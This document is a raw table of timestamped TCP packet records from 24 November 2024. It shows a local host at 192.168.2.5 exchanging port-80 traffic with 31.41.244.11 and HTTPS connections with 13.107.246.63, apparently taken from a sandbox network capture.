Nov 24, 2024 10:24:13.569559097 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:13.569602966 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:13.570550919 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:13.570600033 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:13.570683002 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:13.570724964 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:13.571691990 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:13.571733952 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:13.571813107 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:13.571852922 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:13.572818995 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:13.572871923 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:13.572932959 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:13.572974920 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:13.573951960 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:13.573996067 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:13.574067116 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:13.574110985 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:13.575088978 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:13.575139999 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:13.575180054 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:13.575226068 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:13.576234102 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:13.576276064 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:13.576314926 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:13.576359034 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:13.577348948 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:13.577388048 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:13.577451944 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:13.577495098 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:13.578475952 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:13.578521013 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:13.578555107 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:13.578597069 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:13.579613924 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:13.579684019 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:13.579718113 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:13.579761982 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:13.580802917 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:13.580851078 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:13.580894947 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:13.580933094 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:13.581937075 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:13.581976891 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:13.582045078 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:13.582092047 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:13.583008051 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:13.583056927 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:13.583117008 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:13.583156109 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:13.725883007 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:13.726001978 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:13.726124048 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:13.726599932 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:13.726610899 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:13.726669073 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:13.727658987 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:13.727715015 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:13.727799892 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:13.727847099 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:13.728763103 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:13.728815079 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:13.728831053 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:13.728877068 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:13.729922056 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:13.729973078 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:13.730083942 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:13.730129957 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:13.731062889 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:13.731113911 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:13.731153965 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:13.731200933 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:13.732135057 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:13.732186079 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:13.732224941 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:13.732265949 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:13.733407021 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:13.733417988 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:13.733452082 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:13.734385967 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:13.734431982 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:13.734437943 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:13.734473944 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:13.735640049 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:13.735658884 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:13.735687971 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:13.735703945 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:13.736663103 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:13.736712933 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:13.736798048 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:13.736843109 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:13.737818956 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:13.737867117 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:13.737905025 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:13.737951040 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:13.738926888 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:13.738976955 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:13.739046097 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:13.739092112 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:13.740082979 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:13.740129948 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:13.740279913 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:13.740326881 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:13.741195917 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:13.741250992 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:13.741312027 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:13.741358995 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:13.742317915 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:13.742362976 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:13.742434978 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:13.742480040 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:13.743202925 CET	443	49816	13.107.246.63	192.168.2.5
Nov 24, 2024 10:24:13.743500948 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:13.743547916 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:13.743546963 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:13.743592978 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:13.744609118 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:13.744672060 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:13.744693041 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:13.744740009 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:13.745742083 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:13.745843887 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:13.745843887 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:13.745891094 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:13.746345043 CET	443	49816	13.107.246.63	192.168.2.5
Nov 24, 2024 10:24:13.746403933 CET	49816	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:24:13.746471882 CET	49816	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:24:13.746480942 CET	443	49816	13.107.246.63	192.168.2.5
Nov 24, 2024 10:24:13.746491909 CET	49816	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:24:13.746498108 CET	443	49816	13.107.246.63	192.168.2.5
Nov 24, 2024 10:24:13.746861935 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:13.746912956 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:13.746975899 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:13.747020960 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:13.748002052 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:13.748074055 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:13.748109102 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:13.748157024 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:13.749125004 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:13.749178886 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:13.749254942 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:13.749305964 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:13.749736071 CET	49819	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:24:13.749772072 CET	443	49819	13.107.246.63	192.168.2.5
Nov 24, 2024 10:24:13.749840975 CET	49819	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:24:13.749993086 CET	49819	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:24:13.750010014 CET	443	49819	13.107.246.63	192.168.2.5
Nov 24, 2024 10:24:13.750305891 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:13.750360012 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:13.750487089 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:13.750534058 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:13.751410961 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:13.751482964 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:13.751508951 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:13.751554012 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:13.752536058 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:13.752585888 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:13.752623081 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:13.752667904 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:13.753673077 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:13.753726006 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:13.753762960 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:13.753808022 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:13.754806995 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:13.754858017 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:13.754931927 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:13.754980087 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:13.755939960 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:13.755986929 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:13.756079912 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:13.756125927 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:13.757158041 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:13.757210970 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:13.757287025 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:13.757338047 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:13.758259058 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:13.758306980 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:13.758322001 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:13.758366108 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:13.759325027 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:13.759392977 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:13.759481907 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:13.759526968 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:13.760478020 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:13.760529995 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:13.760704994 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:13.760750055 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:13.761578083 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:13.761629105 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:13.761713028 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:13.761760950 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:13.762731075 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:13.762778997 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:13.762866974 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:13.762912035 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:13.763871908 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:13.763922930 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:13.763925076 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:13.763969898 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:13.764993906 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:13.765041113 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:13.765311003 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:13.765363932 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:13.766134977 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:13.766181946 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:13.766244888 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:13.766288996 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:13.767517090 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:13.767565966 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:13.767571926 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:13.767616987 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:13.768373966 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:13.768425941 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:13.768476963 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:13.768526077 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:13.769509077 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:13.769558907 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:13.769678116 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:13.769723892 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:13.770679951 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:13.770740032 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:13.770793915 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:13.770837069 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:13.771794081 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:13.771842003 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:13.771899939 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:13.771943092 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:13.772927999 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:13.772974968 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:13.773041010 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:13.773089886 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:13.774096012 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:13.774144888 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:13.774280071 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:13.774331093 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:13.775307894 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:13.775376081 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:13.775414944 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:13.775460958 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:13.776323080 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:13.776374102 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:13.776437998 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:13.776489019 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:13.777445078 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:13.777493000 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:13.777560949 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:13.777637959 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:13.778642893 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:13.778692007 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:13.778760910 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:13.778808117 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:13.779721022 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:13.779767990 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:13.780003071 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:13.780046940 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:13.780900002 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:13.780947924 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:13.780982018 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:13.781029940 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:13.781989098 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:13.782033920 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:13.782071114 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:13.782130003 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:13.783126116 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:13.783174038 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:13.783216953 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:13.783257008 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:13.784372091 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:13.784420013 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:13.784457922 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:13.784503937 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:13.785381079 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:13.785427094 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:13.790290117 CET	443	49814	13.107.246.63	192.168.2.5
Nov 24, 2024 10:24:13.793167114 CET	443	49814	13.107.246.63	192.168.2.5
Nov 24, 2024 10:24:13.793236017 CET	49814	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:24:13.793267012 CET	49814	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:24:13.793281078 CET	443	49814	13.107.246.63	192.168.2.5
Nov 24, 2024 10:24:13.793294907 CET	49814	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:24:13.793303967 CET	443	49814	13.107.246.63	192.168.2.5
Nov 24, 2024 10:24:13.796328068 CET	49820	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:24:13.796350002 CET	443	49820	13.107.246.63	192.168.2.5
Nov 24, 2024 10:24:13.796477079 CET	49820	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:24:13.796626091 CET	49820	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:24:13.796638966 CET	443	49820	13.107.246.63	192.168.2.5
Nov 24, 2024 10:24:13.822685003 CET	443	49817	13.107.246.63	192.168.2.5
Nov 24, 2024 10:24:13.825675964 CET	443	49817	13.107.246.63	192.168.2.5
Nov 24, 2024 10:24:13.825756073 CET	49817	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:24:13.825768948 CET	443	49817	13.107.246.63	192.168.2.5
Nov 24, 2024 10:24:13.825833082 CET	443	49817	13.107.246.63	192.168.2.5
Nov 24, 2024 10:24:13.825884104 CET	49817	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:24:13.825906038 CET	443	49817	13.107.246.63	192.168.2.5
Nov 24, 2024 10:24:13.825922966 CET	49817	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:24:13.825922966 CET	49817	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:24:13.825932980 CET	443	49817	13.107.246.63	192.168.2.5
Nov 24, 2024 10:24:13.825942993 CET	443	49817	13.107.246.63	192.168.2.5
Nov 24, 2024 10:24:13.828525066 CET	49821	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:24:13.828563929 CET	443	49821	13.107.246.63	192.168.2.5
Nov 24, 2024 10:24:13.828668118 CET	49821	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:24:13.828773022 CET	49821	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:24:13.828784943 CET	443	49821	13.107.246.63	192.168.2.5
Nov 24, 2024 10:24:13.831726074 CET	443	49815	13.107.246.63	192.168.2.5
Nov 24, 2024 10:24:13.835055113 CET	443	49815	13.107.246.63	192.168.2.5
Nov 24, 2024 10:24:13.835119009 CET	49815	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:24:13.835167885 CET	49815	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:24:13.835189104 CET	443	49815	13.107.246.63	192.168.2.5
Nov 24, 2024 10:24:13.835225105 CET	49815	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:24:13.835232973 CET	443	49815	13.107.246.63	192.168.2.5
Nov 24, 2024 10:24:13.837331057 CET	49822	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:24:13.837342024 CET	443	49822	13.107.246.63	192.168.2.5
Nov 24, 2024 10:24:13.837433100 CET	49822	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:24:13.837543964 CET	49822	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:24:13.837563992 CET	443	49822	13.107.246.63	192.168.2.5
Nov 24, 2024 10:24:13.869231939 CET	443	49818	13.107.246.63	192.168.2.5
Nov 24, 2024 10:24:13.871645927 CET	49818	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:24:13.871654987 CET	443	49818	13.107.246.63	192.168.2.5
Nov 24, 2024 10:24:13.872354031 CET	49818	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:24:13.872359037 CET	443	49818	13.107.246.63	192.168.2.5
Nov 24, 2024 10:24:13.927885056 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:13.927938938 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:13.927988052 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:13.928035021 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:13.928852081 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:13.928864956 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:13.928900003 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:13.928915024 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:13.929615974 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:13.929666042 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:13.929706097 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:13.929745913 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:13.930748940 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:13.930800915 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:13.930835009 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:13.930875063 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:13.931875944 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:13.931899071 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:13.931926966 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:13.931943893 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:13.933022976 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:13.933068991 CET	49813	80	192.168.2.5	31.41.244.11
